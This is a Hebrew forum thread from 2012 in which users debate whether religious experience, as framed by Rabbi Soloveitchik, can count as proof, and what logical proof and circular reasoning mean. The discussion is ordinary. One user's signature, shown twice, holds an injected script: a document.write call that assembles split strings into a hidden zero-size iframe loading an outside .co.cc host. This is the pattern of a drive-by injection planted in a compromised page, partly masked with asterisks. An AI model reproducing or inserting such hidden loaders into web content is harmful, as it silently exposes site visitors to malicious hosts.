|
|
| נשלח ב-26/6/2012 16:40 |
 |
| |
| מיימוני כתב: |  | לומדת
טענתי נגד האיסלם והנצרות לא היתה מכוח החויה אלא מכוח הפרשנות שלה או/ו ביקורת פילוסופית והיסטורית.
צענע
אני משתמש בדברי הרב סולוביצ'יק כפי שהבנתי אותם. יתכן שהוא באמת הציג אותם לפי הסדר שלך, כלומר קודם להאמין ואז לחוות. אני לא זוכר כך אבל אין הטקסט לפני.
בכל מקרה, אני סבור שאפשר להבין כמו שכתבתי מדבריו. אם אמצא את הטקסטים, אפנה אליהם.
יהי אור
אני מסכים שאפשר ויותר מכך - ראוי, לבדוק היסטורית ופילוסופית כל דת.
כשאני בודק את דתי שלי, אני מגיע למסקנות מסויימות - שהצגתי באשכולות רבים מספור - אודות הקבלה (נגד) והמסורת המקראית (בעד).
יש כמובן להסביר ולפרט יותר, אבל האם זה נשוא האשכול?
אלי
איני יודע איך לענות יותר ממה שעניתי.
הצעתי שההבדל בינינו, או אחד ההבדלים בינינו, הוא בשימוש הלשון במילה "הוכחה".
ניסיתי להסביר שעד כמה שאני מבין ויודע, לוגיקה היא שיטת בדיקה של טיעונים, קשרים בין משפטים ומושגים. לא יותר.
לוגיקה יכולה לכן לפסול ולהוכיח על קיום סתירות, או להראות תקפות כלומר נביעה של משפט ממשפט (או מאוסף משפטים), או העדר תקפות.
לוגיקה לכן אינה יכולה לספק שום מידע על העולם. זה למעשה סוד עוצמתה.
לכן לוגיקה אינה מספקת הוכחות אלא רק מסייעת לגזור אותן (להסיק אותן) מהנחות יסוד שמגיעות ממקורות אחרים. (חויה, חוש, כלי מדידה, מעבדה, תכנים אבידנטיים=ברורים מעבר לכל ספק של התודעה ועוד. לדוגמא: בין שתי נקודות עובר רק קו ישר אחד. זו אקסיומה. כלומר הנחה. היא נתפסת אינטואיטיבית, ונחשבת לאבידנטית, אם כי בגיאומטריות אחרות, לא אוקלידיות, יש הנחות חליפיות. מצד שני, טוענים שגיאומטריות אחרות אינן ברורות ואבידנטיות ואולי כן? זה לא תחום ידע שלי).
כאשר אתה מבקש "הוכחה לוגית" אני יכול להבין בכך רק גזירה של מסקנות מטענות מוקדמות. אבל טענות אלו על מה הן מסתמכות?
אולי צריך קורס מבוא לפילוסופיה, לוגיקה ותורת ההכרה והאונטולוגיה, או שאני סתם מפזר מילים מפחידות?
הכוונה היא להסבר לא קצר שצריך לעמול כדי לעשותו פשוט וקל שיסביר את הנימוקים למה שכתבתי לעיל. וזה לא קשור לדת אלא לתחום שעדיין מכונה "פילוסופיה". נאמר: "ביקורת ההנחות והיכולת האנושית להכיר את המציאות ולחשוב עליה במשפטים מסודרים".
הוכחה מתמטית מוכרת לי. פירושו של דבר לבנות טיעון מסודר שבו מתוך הנחות ידועות מראש ניתן לגזור, לפי כללי הלוגיקה, מסקנות. הטיעונים הם תקפים. מציאת הוכחות ברמה מתמטית לכל המדעים הוא חלום ישן נושן אבל בלתי אפשרי של האדם. (ראה במבוא לעיל שלא הובא כאן... אבל הצגתיו כמדומה באשכולות אחרים. איני זוכר היכן).
הוכחות סטטיסטיות איני יודע מה הן. אפשר שהכוונה לטיעונים שהנחות היסוד שלהם נשענות על ממצאים שמחושבים סטטיסטית. אפשר שהכוונה לטיעונים שבהם ההסקים מתבססים על סבירות. איני מתמצא בתחום הזה.
כפי שכתבתי לך, במדעים אחרים (ויש) מקובלות דרכי הוכחה אחרות.
כולן לוגיות במובן זה שהן מכבדות את כללי ההיסק. נזהרות מסתירות. מנסות להציע תיאוריה מסודרת עם הנחות יסוד ומסקנות מחושבות לוגית.
זה קיים גם באותו תחום שבו אנו עוסקים, אם כי כאן יש הישענות רבה מאד על חויות פרטיות, על ניתוח פנומנולוגי, על הנחות יסוד (מובלעות אבל צריך להשגיח בהן).
כל זה לא מצא חן בעיניך. אם כי לא הבנתי על מה אתה מבסס את הביקורת שלך. שהרי אפשר להאחז בנקודות ביקורת רבות, ולכל אחד מהן יש מחיר שנובע מן השימוש בכללי הלוגיקה (למשל, עמדה ספקנית עלולה לסבך את בעליה בסתירות).
אז אולי נניח בינתים לאשכול הזה, ונפתח אשכול חדש "על אמנות ההוכחה" ובו תדגים את תפיסתו של אלי, כלומר שלך, מהי הוכחה, עם דוגמאות, עם כללים. ואחרי שאלמד את הנושא כפי שאתה מציג אותו, אוכל לנסות שוב להציג את עמדתי. עד אז זה כנראה יהיה בזבוז זמן שלך, שלי ושל כל מי שיתעניין.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לא מבין מה אתה רוצה.
לוגיקה משתמשת בטיעונים ומידע מוקדם על מנת לבסס טיעונים חדשים. כל הוכחה שהיא, בנויה על לוגיקה. אשמח מאוד אם תיתן דוגמא קטנה ופצפונת להוכחה אשר אינה לוגית.
אני מוכיח ש X מאחר שY???
 |
|
|
|
|
| נשלח ב-26/6/2012 16:53 |
|
| |
| מיימוני כתב: | | אולי עוד כמה נקודות שראיתי בתשובתך.
לגבי דתות אחרות וחויותיהן: כתבתי לך שהבעיה אינה עם התוכן אלא עם הפרשנות. כל חויה זקוקה לבדיקה פילוסופית. החויה היהודית שורדת כזו ביקורת. (אתה יודע שלא עסקנו כלל בשאלה מה כוללת ביקורת זו ואיך היהדות שורדת אותה. על זה משום לא שאלת. לא הבנתי ששאלת. אתה מוזמן להציג מסקנה שאני מסיק מן החויה נוסח הרב סולוביצ'יק שלדעתך אינה עוברת ביקורת פילוסופית. וכמובן צריך להסביר מהי ביקורת פילוסופית...).
מהשאלה העיקרית באשכול אתה שוב ושוב מתעלם. מה אתה למד מהחוויה, הכיצד אתה למד זאת מהחוויה ואיך אתה יודע שהחוויה לא נובעת ממקום אחר.
אפשר "להרגיש קבלה" אם כי איני יודע למה הכוונה במילים אלו, אבל חויה פתוחה עקרונית לכל תוכן, לכאורה. אבל הטענות של הקבלה (אם יש דבר אחדותי כזה) היסטורית, פילוסופית, הן בעייתיות לדעתי. אני מוכן תמיד לדון בכך, אבל יש על זה אשכולות.
הן בעייתיות במידה שניתן לפתור באפולוגטיקה. בדיוק כמו היהדות. רוצה לערוך השוואה? ראה באשכול האליבי לרבינו ייתכן.
הנושא של "טיעון מעגלי" ראוי לדיון רחב. זה תחום שמיכי מתמצא בו הרבה יותר, אבל אעיר שכל הוכחה לוגית היא למעשה טיעון מעגלי, אלא שזה סמוי מן העין. זאת בגלל מה שהלוגיקה עושה (ולא עושה).
פחחח. אדרבא. תן דוגמאות למעגליות בטיעונים לוגיים מקובלים. על סמך הצפיה האמפירית בלון, אני מסיק שיש אוויר בתוכו ולא ריק. המסקנה הלוגית בנויה מהמוני הנחות מוקדמות, צפיות אמפיריות וטיעונים לוגיים. היכן המעגליות?
הרבי צדיק, שהלא הרבי עצמו אמר כך ולא ייתכן כי צדיק ישקר הינה כשל לוגי. החוויה שלי אמיתי שהרי בחוויה שלי היא אמיתית. היא כשל לוגי בדיוק כמו שהקבלה אמיתית שהרי כך כתוב בה.
הזכרת חויה שלא ידוע מקורה.
החויות שאני מדבר עליהן ידוע מהיכן הן באות. מבחינת ה"חומרה" שלהן הן יכולות לנבוע מהפעלת מנגנונים מוחיים מהסוג שהפנית אליהם ב"קסדת האלוהים" (ראיתי רק מלמעלה את הכותרות. לא היה לי זמן, אבל שמרתי את הלינק. מעניין מאד). מבחינת הסיבה הראשונה שלהן אני אפרש שהן באות מאלוקים. כמובן זה בדיוק מה שאפשר לערער עליו. כפי שכתבת בעצמך. אבל אולי זה מה שיש?
לא הבנתי. יש לנו עשר סיבות אפשריות לחוויה שלך. מדוע תבחר דווקא בראשונה? השאלה מתגברת כאשר מתברר שאתה מודע שב99.9% מהאנושות מייחסים זאת לראשונה אך זה נובע מהאחרות.
המלצה
זה שאיני מסוגל לספק לך את מה שאתה חפץ בו זה ממש לא נורא. אולי זה בא ללמד אותך להישען על בינתך שלך?
לא ביקשתי שתספק כלום. עמדתך מעבר לכשלים הלוגיים שבה, נראית צבועה ביותר. עמדך בעצם משתיתה את יסודות החיים, על חוויה כלשהי אותה אינך מסוגל להבהיר ואת אותה חוויה רק אתה יכול לפרשן.
אמנם אישית לי זוהי אכזבה גדולה, אך זה בעיקר עצוב.
כשמתברר כי גם ה"רציונאלים" נופלים בכשלים, ועוד כשלים מהסוג הגור ביותר רק עבור הנחת המבוקש.
מבחינתי, אני תוהה אם אתה יכול להציג ניסוח עקבי ו"לוגי" של מה שאתה מבקש. אשמח לקרוא ולשאול שאלות מבהירות. תהיה אתה המסבירן ואני אהיה התובע בשם הלוגיקה. זה יכול להיות משחק נחמד ומאלף. ואין כוונתי לתעתע אלא לנסות להצביע על אי הבנות או אי הסכמות יסודיות שאיני מצליח להעביר באופן אחר.
בשמחה רבה. יש צורך באשכול חדש או שנעשה זאת כאן?
***
מאיזו התמודדות ברחתי מזה שנתיים? זה בהחלט יתכן, אם כי זה לא נובע מבריחה אלא מחוסר זמן... אבל איני יודע לאיזו מן הבריחות" שלי אתה מתכוון. יש לי אוסף של קבצים כתובים למחצה במחשב, כולם מחכים לימות המשיח, כאשר ישב כל איש תחת גפנו ותחת תאנתו עם מחשבו הנייד ויכתוב ויכתוב...
היה סיכום לפני שנתיים לערך על בירור הפילוסופיה היהודית באשכול מיוחד. בוודאי, וודאי שזה רק מקוצר זמן. אלא שעל פניו סדר הקדימויות בין בירור עיקר דרכינו בעולם לכל מיני זוטות אחרות פה בפורום, גרמה לך לבחור דווקא בזוטי הזוטות.
הערה: נא לא לקחת אישית. נדמה היה לי שזה ברור כי דיון אינטרנטי פילוסופי אינו אישי, אך בזמנים שכאלו... _________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-26/6/2012 17:18 |
|
| |
אלי ומיימוני,
אני צריך הבהרה לגבי המושג "הוכחה לוגית".
האם יש הוכחה לוגית שיש שמש?
|
|
|
|
| נשלח ב-26/6/2012 17:26 |
|
| |
שמש? אנחנו מגדירים שמש כדבר השמעביר לנו תחושות מסויימות לאברינו. אותה התחושה לכל העולם כולו.
ככל שמישהו יטען שאין שמש, יהיו לזה נפקא מינות מעשיות וכו', אפשר יהיה להביא הוכחות לוגיות ולדון עליהן. מה הבעיה?
|
|
|
|
| נשלח ב-26/6/2012 17:28 |
|
| |
הוכחה לוגית היא כל ראיה לבירור נתון כלשהו המתבססת על טיעונים או ידע מוקדמים. למעשה - כל הוכחה כלשהי מלבד "הוכחת" "אני מרגיש משמע אני צודק" ויעויין שם.
|
|
|
|
| נשלח ב-26/6/2012 18:00 |
|
| |
אלי
הוכחה על המציאות לכאורה מחייבת ראשית חוויה מסוימת של המציאות מכאן ואילך ניתן להמשיך להשתמש בלוגיקה.
הבעיה בחוויה הדתית, אינה במסקנות שאפשר להסיק ממנה, שהרי אם שנינו חווים שמש, המסקנות הלוגיות מכך מקובלות על שנינו, אלא השאלה היא האם החוויה הזו שווה בעוצמתה לחווית השמש, או שבניגוד לחווית השמש היא חוויה פרטית ושאינה ניתנת לשחזור.
לא לחינם, הוגים בכל הדורות, ניסו לבנות חוויה קולקטיבית, שאחר כך מועברת במסורת.
|
|
|
|
| נשלח ב-26/6/2012 18:21 |
|
| |
מוסכם. מסקנה פוזיטיבית?
|
|
|
|
| נשלח ב-26/6/2012 18:26 |
|
| |
אין לי מסקנה פוזיטיבית
מה שעולה הוא שריה"ל וההולכים בדרכו, שהם אנשי חוויה דתית מובהקים, ניסו להוציא את החויה מתחום היחיד לתחום הצבור. עד כמה הם הצליחו בכך, זו שאלה אחרת.
גם מחבתים בני זמננו מנסים ללכת באותה שיטה.
|
|
|
|
|
| נשלח ב-26/6/2012 20:12 |
|
| |
נדמה לי כי כמעט כולם מסכימים כי חוויה אינה יכולה להוכיח כלום מעבר לקיומה שלה עצמה. ככל שהבנתי שלי מגעת, אין קשר בין חוויות לבין הדת בשמה הן מגיעות. לא שמעתי שחיובי היהדות הן רק על החווים וכל כיוצא בזה.
|
|
|
|
| נשלח ב-26/6/2012 20:31 |
|
| |
לכאורה לכל היותר מה שחוויות יכולים להוכיח זה שקיים רכיב חוויתי/מיסטי/רוחני/אלהי במציאות. יותר מזה, הוא פרשנות ופילוסופיה שאינה עולה מן החוויה ישירות.
אמנם, אם מעשים מסוימים [כמו מצוות למשל] מביאים אותך ספציפית לחוויה, זה יכול להיות סיבה מספקת שתעשה אותו, ולא גרע מכל מעשה אחר שאנשים עושים בשביל להגיע לחוויות שונות. ואתה יכול להציע גם לאחרים להתנסות בזה. אך לכדי הוכחה שהמעשה הזה נכון יותר לא נגיע. [גם כי במציאות מעשים כאלה רבים ומגוונים ביותר ואינם מצטמצמים לשום דת או דעה. והעיקר תלוי בהתכוונות.]
|
|
|
|
| נשלח ב-26/6/2012 20:51 |
|
| |
רכיב חוויתי כן. כל השאר לא.
ומי שבחוויה שלו טוב לא להיות יהודי. מה אכפת לן?
|
|
|
|
| נשלח ב-26/6/2012 21:22 |
|
| |
איזה כל השאר ומה בעיה מצאת בזה.
אם טוב לו לא להיות מיהודי אז מבחינה זו בוודאי אי אפשר שיהיה שום טענה עליו. ופשיטא.
|
|
|
|
| נשלח ב-26/6/2012 21:30 |
|
| |
כתבת "רכיב חוויתי/מיסטי/רוחני/אלהי"
השבתי כי זו ראיה לרכיב חוויתי ותו לא.
טענה עליו - ככל שהוא מודע, לא מפריע לאחרים ולא טוען שזו האמת, אין שום טענה. לפחות לא גדולה מהטענה שלא כלפי אחרים שמבלים זמנם עם בירה כדורגל ונשים.
|
|
|
|
| נשלח ב-26/6/2012 21:35 |
|
| |
זה ענין נפרד להסביר מה פשר כל המילים האלה והאם יש בכלל הבדל ביניהם. בכל אופן החוויה הרי הוא חווית משהו נעלה יותר מהחפצים והחומר, אם לא אז לא מחוויה זו מדברים כלל, אז תקרא לזה חויתי, זה לא משנה כ"כ. [כבר הארכתי במ"א לגבי הסברים "טבעיים" לחוויה, עיי"ש] עכ"פ אם אתה מסכים להגדיר את החוויתי כמשהו שונה מתחושות טבעיות סתם, לא אתווכח איתך איזה שם לתת לזה, וזה ענין שצריך לבארו בנפרד. העיקר זה המלה במציאות שהדגשתי, כלומר האם נסכים שיש רכיב כזה במציאות ולא רק בנפשו של החווה. [באותם הגבלות קאנטיאניות שיש לכל תצפית בנושא זה]
התכוונתי שאי אפשר לטעון על מי שלא מקיים תומ"צ מצד החוויה, וכפשוט.
תוקן על ידי יהיאור ב- 26/06/2012 21:36:25
|
|
|
|
| נשלח ב-26/6/2012 21:37 |
|
| |
?
החוויה יכולה לנבוע מנסיבות פסיכולוגיות או אף משינויים כימיקליים, הורמונליים או אחרים.
|
|
|
|
|
